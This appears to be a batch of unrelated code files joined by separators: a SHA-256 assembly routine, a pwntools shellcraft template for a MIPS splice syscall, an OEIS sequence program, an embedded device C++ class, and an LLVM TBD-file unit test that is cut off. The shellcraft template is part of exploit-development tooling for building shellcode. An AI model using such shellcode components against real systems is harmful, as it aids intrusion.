IPPASM UpdateSHA256,PUBLIC
%assign LOCAL_FRAME (16*sizeof(dword) + sizeof(qword))
USES_GPR rbx,rsi,rdi,r12,r13,r14,r15
USES_XMM
COMP_ABI 4
;; rdi = digest
;; rsi = data buffer
;; rdx = buffer len
;; rcx = dummy parameter
%xdefine MBS_SHA256 (64)
movsxd rdx, edx
mov qword [rsp+16*sizeof(dword)], rdx ; save length of buffer
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; process next data block
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.sha256_block_loop:
;;
;; initialize the first 16 words in the array W (remember about endian)
;;
%if (_IPP32E >= _IPP32E_U8)
movdqa xmm4, oword [rel pByteSwp]
movdqu xmm0, oword [rsi+0*16]
pshufb xmm0, xmm4
movdqa oword [rsp+0*16], xmm0
movdqu xmm1, oword [rsi+1*16]
pshufb xmm1, xmm4
movdqa oword [rsp+1*16], xmm1
movdqu xmm2, oword [rsi+2*16]
pshufb xmm2, xmm4
movdqa oword [rsp+2*16], xmm2
movdqu xmm3, oword [rsi+3*16]
pshufb xmm3, xmm4
movdqa oword [rsp+3*16], xmm3
%else
xor rcx,rcx
.loop1:
mov r8d,[rsi+rcx*4+0*4]
ENDIANNESS r8d,r8d
mov [rsp+rcx*4+0*4],r8d
mov r9d,[rsi+rcx*4+1*4]
ENDIANNESS r9d,r9d
mov [rsp+rcx*4+1*4],r9d
add rcx,2
cmp rcx,16
jl .loop1
%endif
;;
;; init A, B, C, D, E, F, G, H by the internal digest
;;
mov r8d, [rdi+0*4] ; r8d = digest[0] (A)
mov r9d, [rdi+1*4] ; r9d = digest[1] (B)
mov r10d,[rdi+2*4] ; r10d= digest[2] (C)
mov r11d,[rdi+3*4] ; r11d= digest[3] (D)
mov r12d,[rdi+4*4] ; r12d= digest[4] (E)
mov r13d,[rdi+5*4] ; r13d= digest[5] (F)
mov r14d,[rdi+6*4] ; r14d= digest[6] (G)
mov r15d,[rdi+7*4] ; r15d= digest[7] (H)
;;
;; perform 0-64 steps
;;
;; A, B, C, D, E, F, G, H T, F1, F2, W[], K256
;; ----------------------------------------------------------------------------
SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, {rsp+ 0*4}, 0428A2F98h
UPDATE_2 16, eax,ebx, ecx,edx
SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, {rsp+ 1*4}, 071374491h
UPDATE_2 17, eax,ebx, ecx,edx
SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, {rsp+ 2*4}, 0B5C0FBCFh
UPDATE_2 18, eax,ebx, ecx,edx
SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, {rsp+ 3*4}, 0E9B5DBA5h
UPDATE_2 19, eax,ebx, ecx,edx
SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, {rsp+ 4*4}, 03956C25Bh
UPDATE_2 20, eax,ebx, ecx,edx
SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, {rsp+ 5*4}, 059F111F1h
UPDATE_2 21, eax,ebx, ecx,edx
SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, {rsp+ 6*4}, 0923F82A4h
UPDATE_2 22, eax,ebx, ecx,edx
SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, {rsp+ 7*4}, 0AB1C5ED5h
UPDATE_2 23, eax,ebx, ecx,edx
SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, {rsp+ 8*4}, 0D807AA98h
UPDATE_2 24, eax,ebx, ecx,edx
SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, {rsp+ 9*4}, 012835B01h
UPDATE_2 25, eax,ebx, ecx,edx
SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, {rsp+10*4}, 0243185BEh
UPDATE_2 26, eax,ebx, ecx,edx
SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, {rsp+11*4}, 0550C7DC3h
UPDATE_2 27, eax,ebx, ecx,edx
SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, {rsp+12*4}, 072BE5D74h
UPDATE_2 28, eax,ebx, ecx,edx
SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, {rsp+13*4}, 080DEB1FEh
UPDATE_2 29, eax,ebx, ecx,edx
SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, {rsp+14*4}, 09BDC06A7h
UPDATE_2 30, eax,ebx, ecx,edx
SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, {rsp+15*4}, 0C19BF174h
UPDATE_2 31, eax,ebx, ecx,edx
SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, {rsp+ 0*4}, 0E49B69C1h
UPDATE_2 32, eax,ebx, ecx,edx
SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, {rsp+ 1*4}, 0EFBE4786h
UPDATE_2 33, eax,ebx, ecx,edx
SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, {rsp+ 2*4}, 00FC19DC6h
UPDATE_2 34, eax,ebx, ecx,edx
SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, {rsp+ 3*4}, 0240CA1CCh
UPDATE_2 35, eax,ebx, ecx,edx
SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, {rsp+ 4*4}, 02DE92C6Fh
UPDATE_2 36, eax,ebx, ecx,edx
SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, {rsp+ 5*4}, 04A7484AAh
UPDATE_2 37, eax,ebx, ecx,edx
SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, {rsp+ 6*4}, 05CB0A9DCh
UPDATE_2 38, eax,ebx, ecx,edx
SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, {rsp+ 7*4}, 076F988DAh
UPDATE_2 39, eax,ebx, ecx,edx
SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, {rsp+ 8*4}, 0983E5152h
UPDATE_2 40, eax,ebx, ecx,edx
SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, {rsp+ 9*4}, 0A831C66Dh
UPDATE_2 41, eax,ebx, ecx,edx
SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, {rsp+10*4}, 0B00327C8h
UPDATE_2 42, eax,ebx, ecx,edx
SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, {rsp+11*4}, 0BF597FC7h
UPDATE_2 43, eax,ebx, ecx,edx
SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, {rsp+12*4}, 0C6E00BF3h
UPDATE_2 44, eax,ebx, ecx,edx
SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, {rsp+13*4}, 0D5A79147h
UPDATE_2 45, eax,ebx, ecx,edx
SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, {rsp+14*4}, 006CA6351h
UPDATE_2 46, eax,ebx, ecx,edx
SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, {rsp+15*4}, 014292967h
UPDATE_2 47, eax,ebx, ecx,edx
SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, {rsp+ 0*4}, 027B70A85h
UPDATE_2 48, eax,ebx, ecx,edx
SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, {rsp+ 1*4}, 02E1B2138h
UPDATE_2 49, eax,ebx, ecx,edx
SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, {rsp+ 2*4}, 04D2C6DFCh
UPDATE_2 50, eax,ebx, ecx,edx
SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, {rsp+ 3*4}, 053380D13h
UPDATE_2 51, eax,ebx, ecx,edx
SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, {rsp+ 4*4}, 0650A7354h
UPDATE_2 52, eax,ebx, ecx,edx
SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, {rsp+ 5*4}, 0766A0ABBh
UPDATE_2 53, eax,ebx, ecx,edx
SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, {rsp+ 6*4}, 081C2C92Eh
UPDATE_2 54, eax,ebx, ecx,edx
SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, {rsp+ 7*4}, 092722C85h
UPDATE_2 55, eax,ebx, ecx,edx
SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, {rsp+ 8*4}, 0A2BFE8A1h
UPDATE_2 56, eax,ebx, ecx,edx
SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, {rsp+ 9*4}, 0A81A664Bh
UPDATE_2 57, eax,ebx, ecx,edx
SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, {rsp+10*4}, 0C24B8B70h
UPDATE_2 58, eax,ebx, ecx,edx
SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, {rsp+11*4}, 0C76C51A3h
UPDATE_2 59, eax,ebx, ecx,edx
SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, {rsp+12*4}, 0D192E819h
UPDATE_2 60, eax,ebx, ecx,edx
SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, {rsp+13*4}, 0D6990624h
UPDATE_2 61, eax,ebx, ecx,edx
SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, {rsp+14*4}, 0F40E3585h
UPDATE_2 62, eax,ebx, ecx,edx
SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, {rsp+15*4}, 0106AA070h
UPDATE_2 63, eax,ebx, ecx,edx
SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, {rsp+ 0*4}, 019A4C116h
SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, {rsp+ 1*4}, 01E376C08h
SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, {rsp+ 2*4}, 02748774Ch
SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, {rsp+ 3*4}, 034B0BCB5h
SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, {rsp+ 4*4}, 0391C0CB3h
SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, {rsp+ 5*4}, 04ED8AA4Ah
SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, {rsp+ 6*4}, 05B9CCA4Fh
SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, {rsp+ 7*4}, 0682E6FF3h
SHA256_STEP_2 r8, r9, r10,r11,r12,r13,r14,r15, rbx,rcx,rdx, {rsp+ 8*4}, 0748F82EEh
SHA256_STEP_2 r15,r8, r9, r10,r11,r12,r13,r14, rbx,rcx,rdx, {rsp+ 9*4}, 078A5636Fh
SHA256_STEP_2 r14,r15,r8, r9, r10,r11,r12,r13, rbx,rcx,rdx, {rsp+10*4}, 084C87814h
SHA256_STEP_2 r13,r14,r15,r8, r9, r10,r11,r12, rbx,rcx,rdx, {rsp+11*4}, 08CC70208h
SHA256_STEP_2 r12,r13,r14,r15,r8, r9, r10,r11, rbx,rcx,rdx, {rsp+12*4}, 090BEFFFAh
SHA256_STEP_2 r11,r12,r13,r14,r15,r8, r9, r10, rbx,rcx,rdx, {rsp+13*4}, 0A4506CEBh
SHA256_STEP_2 r10,r11,r12,r13,r14,r15,r8, r9, rbx,rcx,rdx, {rsp+14*4}, 0BEF9A3F7h
SHA256_STEP_2 r9, r10,r11,r12,r13,r14,r15,r8, rbx,rcx,rdx, {rsp+15*4}, 0C67178F2h
;;
;; update digest
;;
add [rdi+0*4],r8d
add [rdi+1*4],r9d
add [rdi+2*4],r10d
add [rdi+3*4],r11d
add [rdi+4*4],r12d
add [rdi+5*4],r13d
add [rdi+6*4],r14d
add [rdi+7*4],r15d
add rsi, MBS_SHA256
sub qword [rsp+16*sizeof(dword)], MBS_SHA256
jg .sha256_block_loop
REST_XMM
REST_GPR
ret
ENDFUNC UpdateSHA256
%endif ;; (_IPP32E >= _IPP32E_M7) AND (_IPP32E < _IPP32E_U8 )
%endif ;; _FEATURE_OFF_ / _FEATURE_TICKTOCK_
%endif ;; _ENABLE_ALG_SHA256_
|
<%
from pwnlib.shellcraft.mips.linux import syscall
%>
<%page args="fdin, offin, fdout, offout, length, flags"/>
<%docstring>
Invokes the syscall splice. See 'man 2 splice' for more information.
Arguments:
fdin(int): fdin
offin(off64_t): offin
fdout(int): fdout
offout(off64_t): offout
len(size_t): len
flags(unsigned): flags
</%docstring>
${syscall('SYS_splice', fdin, offin, fdout, offout, length, flags)}
|
; A301451: Numbers congruent to {1, 7} mod 9.
; 1,7,10,16,19,25,28,34,37,43,46,52,55,61,64,70,73,79,82,88,91,97,100,106,109,115,118,124,127,133,136,142,145,151,154,160,163,169,172,178,181,187,190,196,199,205,208,214,217,223,226,232,235,241,244,250,253,259,262,268,271,277,280,286,289,295,298,304,307,313,316,322,325,331,334,340,343,349,352,358,361,367,370,376,379,385,388,394,397,403,406,412,415,421,424,430,433,439,442,448,451,457,460,466,469,475,478,484,487,493,496,502,505,511,514,520,523,529,532,538,541,547,550,556,559,565,568,574,577,583,586,592,595,601,604,610,613,619,622,628,631,637,640,646,649,655,658,664,667,673,676,682,685,691,694,700,703,709,712,718,721,727,730,736,739,745,748,754,757,763,766,772,775,781,784,790,793,799,802,808,811,817,820,826,829,835,838,844,847,853,856,862,865,871,874,880,883,889,892,898,901,907,910,916,919,925,928,934,937,943,946,952,955,961,964,970,973,979,982,988,991,997,1000,1006,1009,1015,1018,1024,1027,1033,1036,1042,1045,1051,1054,1060,1063,1069,1072,1078,1081,1087,1090,1096,1099,1105,1108,1114,1117,1123
mul $0,3
mov $1,$0
add $1,1
div $1,2
mul $1,3
add $1,1
|
/**-------------------------------------------------------------------------
@file device.cpp
@brief Generic device base class
This is the base class to implement all sort devices, hardware or software.
For example a sensor device or a software audio decoder. The device can transfer
data via it's DeviceIntrf object.
@author Hoang Nguyen Hoan
@date Feb. 12, 2017
@license
Copyright (c) 2017, I-SYST inc., all rights reserved
Permission to use, copy, modify, and distribute this software for any purpose
with or without fee is hereby granted, provided that the above copyright
notice and this permission notice appear in all copies, and none of the
names : I-SYST or its contributors may be used to endorse or
promote products derived from this software without specific prior written
permission.
For info or contributing contact : hnhoan at i-syst dot com
THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
----------------------------------------------------------------------------*/
#include "device.h"
Device::Device()
{
vDevAddr = 0;
vpIntrf = NULL;
vbValid = false;
vDevId = -1;
}
/**
* @brief Read device's register/memory block.
*
* This default implementation sets bit 7 of the Cmd/Addr byte for SPI read access as most
* devices work this way on SPI interface. Overwrite this implementation if SPI access is different
*
* @param pCmdAddr : Buffer containing command or address to be written
* prior reading data back
* @param CmdAddrLen : Command buffer size
* @param pBuff : Data buffer container
* @param BuffLen : Data buffer size
*
* @return Actual number of bytes read
*/
int Device::Read(uint8_t *pCmdAddr, int CmdAddrLen, uint8_t *pBuff, int BuffLen)
{
if (vpIntrf->Type() == DEVINTRF_TYPE_SPI)
{
// Most sensor that supports SPI have this for reading registers
// overload this function if different
*pCmdAddr |= 0x80;
}
return vpIntrf->Read(vDevAddr, pCmdAddr, CmdAddrLen, pBuff, BuffLen);
}
/**
* @brief Write to device's register/memory block
*
* This default implementation clears bit 7 of the Cmd/Addr byte for SPI write access as most
* devices work this way on SPI interface. Overwrite this implementation if SPI access is different
*
* @param pCmdAddr : Buffer containing command or address to be written
* prior writing data back
* @param CmdAddrLen : Command buffer size
* @param pData : Data buffer to be written to the device
* @param DataLen : Size of data
*
* @return Actual number of bytes written
*/
int Device::Write(uint8_t *pCmdAddr, int CmdAddrLen, uint8_t *pData, int DataLen)
{
if (vpIntrf->Type() == DEVINTRF_TYPE_SPI)
{
// Most sensor that supports SPI have this for writing registers
// overload this function if different
*pCmdAddr &= 0x7F;
}
return vpIntrf->Write(vDevAddr, pCmdAddr, CmdAddrLen, pData, DataLen);
}
|
//===-- TextStubV4Tests.cpp - TBD V4 File Test ----------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===-----------------------------------------------------------------------===/
#include "TextStubHelpers.h"
#include "llvm/TextAPI/InterfaceFile.h"
#include "llvm/TextAPI/TextAPIReader.h"
#include "llvm/TextAPI/TextAPIWriter.h"
#include "gtest/gtest.h"
#include <string>
#include <vector>
using namespace llvm;
using namespace llvm::MachO;
namespace TBDv4 {
TEST(TBDv4, ReadFile) {
static const char TBDv4File[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-macos, x86_64-macos, x86_64-ios ]\n"
"uuids:\n"
" - target: i386-macos\n"
" value: 00000000-0000-0000-0000-000000000000\n"
" - target: x86_64-macos\n"
" value: 11111111-1111-1111-1111-111111111111\n"
" - target: x86_64-ios\n"
" value: 11111111-1111-1111-1111-111111111111\n"
"flags: [ flat_namespace, installapi ]\n"
"install-name: Umbrella.framework/Umbrella\n"
"current-version: 1.2.3\n"
"compatibility-version: 1.2\n"
"swift-abi-version: 5\n"
"parent-umbrella:\n"
" - targets: [ i386-macos, x86_64-macos, x86_64-ios ]\n"
" umbrella: System\n"
"allowable-clients:\n"
" - targets: [ i386-macos, x86_64-macos, x86_64-ios ]\n"
" clients: [ ClientA ]\n"
"reexported-libraries:\n"
" - targets: [ i386-macos ]\n"
" libraries: [ /System/Library/Frameworks/A.framework/A ]\n"
"exports:\n"
" - targets: [ i386-macos ]\n"
" symbols: [ _symA ]\n"
" objc-classes: []\n"
" objc-eh-types: []\n"
" objc-ivars: []\n"
" weak-symbols: []\n"
" thread-local-symbols: []\n"
" - targets: [ x86_64-ios ]\n"
" symbols: [_symB]\n"
" - targets: [ x86_64-macos, x86_64-ios ]\n"
" symbols: [_symAB]\n"
"reexports:\n"
" - targets: [ i386-macos ]\n"
" symbols: [_symC]\n"
" objc-classes: []\n"
" objc-eh-types: []\n"
" objc-ivars: []\n"
" weak-symbols: []\n"
" thread-local-symbols: []\n"
"undefineds:\n"
" - targets: [ i386-macos ]\n"
" symbols: [ _symD ]\n"
" objc-classes: []\n"
" objc-eh-types: []\n"
" objc-ivars: []\n"
" weak-symbols: []\n"
" thread-local-symbols: []\n"
"...\n";
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4File, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
PlatformSet Platforms;
Platforms.insert(getPlatformFromName("macos"));
Platforms.insert(getPlatformFromName("ios"));
auto Archs = AK_i386 | AK_x86_64;
TargetList Targets = {
Target(AK_i386, PLATFORM_MACOS),
Target(AK_x86_64, PLATFORM_MACOS),
Target(AK_x86_64, PLATFORM_IOS),
};
UUIDs uuids = {{Targets[0], "00000000-0000-0000-0000-000000000000"},
{Targets[1], "11111111-1111-1111-1111-111111111111"},
{Targets[2], "11111111-1111-1111-1111-111111111111"}};
EXPECT_EQ(Archs, File->getArchitectures());
EXPECT_EQ(uuids, File->uuids());
EXPECT_EQ(Platforms.size(), File->getPlatforms().size());
for (auto Platform : File->getPlatforms())
EXPECT_EQ(Platforms.count(Platform), 1U);
EXPECT_EQ(std::string("Umbrella.framework/Umbrella"), File->getInstallName());
EXPECT_EQ(PackedVersion(1, 2, 3), File->getCurrentVersion());
EXPECT_EQ(PackedVersion(1, 2, 0), File->getCompatibilityVersion());
EXPECT_EQ(5U, File->getSwiftABIVersion());
EXPECT_FALSE(File->isTwoLevelNamespace());
EXPECT_TRUE(File->isApplicationExtensionSafe());
EXPECT_TRUE(File->isInstallAPI());
InterfaceFileRef client("ClientA", Targets);
InterfaceFileRef reexport("/System/Library/Frameworks/A.framework/A",
{Targets[0]});
EXPECT_EQ(1U, File->allowableClients().size());
EXPECT_EQ(client, File->allowableClients().front());
EXPECT_EQ(1U, File->reexportedLibraries().size());
EXPECT_EQ(reexport, File->reexportedLibraries().front());
ExportedSymbolSeq Exports, Reexports, Undefineds;
ExportedSymbol temp;
for (const auto *Sym : File->symbols()) {
temp = ExportedSymbol{Sym->getKind(), std::string(Sym->getName()),
Sym->isWeakDefined(), Sym->isThreadLocalValue()};
EXPECT_FALSE(Sym->isWeakReferenced());
if (Sym->isUndefined())
Undefineds.emplace_back(std::move(temp));
else
Sym->isReexported() ? Reexports.emplace_back(std::move(temp))
: Exports.emplace_back(std::move(temp));
}
llvm::sort(Exports.begin(), Exports.end());
llvm::sort(Reexports.begin(), Reexports.end());
llvm::sort(Undefineds.begin(), Undefineds.end());
static ExportedSymbol ExpectedExportedSymbols[] = {
{SymbolKind::GlobalSymbol, "_symA", false, false},
{SymbolKind::GlobalSymbol, "_symAB", false, false},
{SymbolKind::GlobalSymbol, "_symB", false, false},
};
static ExportedSymbol ExpectedReexportedSymbols[] = {
{SymbolKind::GlobalSymbol, "_symC", false, false},
};
static ExportedSymbol ExpectedUndefinedSymbols[] = {
{SymbolKind::GlobalSymbol, "_symD", false, false},
};
EXPECT_EQ(sizeof(ExpectedExportedSymbols) / sizeof(ExportedSymbol),
Exports.size());
EXPECT_EQ(sizeof(ExpectedReexportedSymbols) / sizeof(ExportedSymbol),
Reexports.size());
EXPECT_EQ(sizeof(ExpectedUndefinedSymbols) / sizeof(ExportedSymbol),
Undefineds.size());
EXPECT_TRUE(std::equal(Exports.begin(), Exports.end(),
std::begin(ExpectedExportedSymbols)));
EXPECT_TRUE(std::equal(Reexports.begin(), Reexports.end(),
std::begin(ExpectedReexportedSymbols)));
EXPECT_TRUE(std::equal(Undefineds.begin(), Undefineds.end(),
std::begin(ExpectedUndefinedSymbols)));
}
TEST(TBDv4, ReadMultipleDocuments) {
static const char TBDv4Inlines[] =
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-macos, i386-maccatalyst, x86_64-macos, "
"x86_64-maccatalyst ]\n"
"uuids:\n"
" - target: i386-macos\n"
" value: 00000000-0000-0000-0000-000000000000\n"
" - target: i386-maccatalyst\n"
" value: 00000000-0000-0000-0000-000000000002\n"
" - target: x86_64-macos\n"
" value: 11111111-1111-1111-1111-111111111111\n"
" - target: x86_64-maccatalyst\n"
" value: 11111111-1111-1111-1111-111111111112\n"
"install-name: /System/Library/Frameworks/Umbrella.framework/Umbrella\n"
"parent-umbrella:\n"
" - targets: [ i386-macos, x86_64-macos ]\n"
" umbrella: System\n"
"reexported-libraries:\n"
" - targets: [ i386-macos, x86_64-macos ]\n"
" libraries: [ /System/Library/Frameworks/A.framework/A ]\n"
"--- !tapi-tbd\n"
"tbd-version: 4\n"
"targets: [ i386-macos, x86_64-macos ]\n"
"uuids:\n"
" - target: i386-macos\n"
" value: 20000000-0000-0000-0000-000000000000\n"
" - target: x86_64-macos\n"
" value: 21111111-1111-1111-1111-111111111111\n"
"flags: [ flat_namespace ]\n"
"install-name: /System/Library/Frameworks/A.framework/A\n"
"current-version: 1.2.3\n"
"compatibility-version: 1.2\n"
"swift-abi-version: 5\n"
"exports:\n"
" - targets: [ i386-macos ]\n"
" symbols: [ _symA ]\n"
" objc-classes: []\n"
" objc-eh-types: []\n"
" objc-ivars: []\n"
" weak-symbols: []\n"
" thread-local-symbols: []\n"
" - targets: [ x86_64-macos ]\n"
" symbols: [_symAB]\n"
"reexports:\n"
" - targets: [ i386-macos ]\n"
" symbols: [_symC]\n"
" objc-classes: []\n"
" objc-eh-types: []\n"
" objc-ivars: []\n"
" weak-symbols: []\n"
" thread-local-symbols: []\n"
"undefineds:\n"
" - targets: [ i386-macos ]\n"
" symbols: [ _symD ]\n"
" objc-classes: []\n"
" objc-eh-types: []\n"
" objc-ivars: []\n"
" weak-symbols: []\n"
" thread-local-symbols: []\n"
"...\n";
PlatformSet Platforms;
Platforms.insert(PLATFORM_MACOS);
Platforms.insert(PLATFORM_MACCATALYST);
ArchitectureSet Archs = AK_i386 | AK_x86_64;
TargetList Targets;
for (auto &&Arch : Archs)
for (auto &&Platform : Platforms)
Targets.emplace_back(Target(Arch, Platform));
UUIDs Uuids = {
{Targets[0], "00000000-0000-0000-0000-000000000000"},
{Targets[1], "00000000-0000-0000-0000-000000000002"},
{Targets[2], "11111111-1111-1111-1111-111111111111"},
{Targets[3], "11111111-1111-1111-1111-111111111112"},
};
Expected<TBDFile> Result =
TextAPIReader::get(MemoryBufferRef(TBDv4Inlines, "Test.tbd"));
EXPECT_TRUE(!!Result);
TBDFile File = std::move(Result.get());
EXPECT_EQ(FileType::TBD_V4, File->getFileType());
EXPECT_EQ(Archs, File->getArchitectures());
EXPECT_EQ(Uuids, File->uuids());
EXPECT_EQ(Platforms, File->getPlatforms());
EXPECT_EQ(
std::string("/System/Library/Frameworks/Umbrella.framework/Umbrella"),
File->getInstallName());
EXPECT_TRUE(File->isTwoLevelNamespace());
EXPECT_TRUE(File->isApplicationExtensionSafe());
EXPECT_FALSE(File->isInstallAPI());
EXPECT_EQ(PackedVersion(1, 0, 0), File->getCurrentVersion());
EXPECT_EQ(PackedVersion(1, 0, 0), File->getCompatibilityVersion());
InterfaceFileRef reexport("/System/Library/Frameworks/A.framework/A",
{Targets[0], Targets[2]});
EXPECT_EQ(1U, File->reexportedLibraries().size());
EXPECT_EQ(reexport, File->reexportedLibraries().front());
EXPECT_TRUE(File->symbols().empty());
// Check Inlined Document
Targets.clear();
Uuids.clear();
PlatformType Platform = PLATFORM_MACOS;
for (auto &&Arch : Archs)
Targets.emplace_back(Target(Arch, Platform));
Uuids = {
{Targets[0], "20000000-0000-0000-0000-000000000000"},
{Targets[1], "21111111-1111-1111-1111-111111111111"},
};
TBDReexportFile Document = File->documents().front();
EXPECT_EQ(FileType::TBD_V4, Document->getFileType());
EXPECT_EQ(Archs, Document->getArchitectures());
EXPECT_EQ(Uuids, Document->uuids());
EXPECT_EQ(1U, Document->getPlatforms().size());
EXPECT_EQ(Platform, *(Document->getPlatforms().begin()));
EXPECT_EQ(std::string("/System/Library/Frameworks/A.framework/A"),
Document->getInstallName());
EXPECT_EQ(PackedVersion(1, 2, 3), Document->getCurrentVersion());
EXPECT_EQ(PackedVersion(1, 2, 0), Document->getCompatibilityVersion());
EXPECT_EQ(5U, Document->getSwiftABIVersion());
EXPECT_FALSE(Document->isTwoLevelNamespace());
EXPECT_TRUE(Document->isApplicationExtensionSafe());
EXPECT_FALSE(Document->isInstallAPI());
ExportedSymbolSeq Exports;
ExportedSymbolSeq Reexports, Undefineds;
for (const auto *Sym : Document->symbols()) {
ExportedSymbol Temp =
ExportedSymbol{Sym->getKind(), std::string(Sym->getName()),
Sym->isWeakDefined(), Sym->isThreadLocalValue()};
EXPECT_FALSE(Sym->isWeakReferenced());
if (Sym->isUndefined())
Undefineds.emplace_back(std::move(Temp));
else
Sym->isReexported() ? Reexports.emplace_back(std::move(Temp))
: Exports.emplace_back(std::move(Temp));
}
llvm::sort(Exports.begin(), Exports.end());
llvm::sort(Reexports.begin(), Reexports.end());
llvm::sort(Undefineds.begin(), Undefineds.end());
static ExportedSymbol ExpectedExportedSymbols[] = {
{SymbolKind::GlobalSymbol, "_symA", false, false},
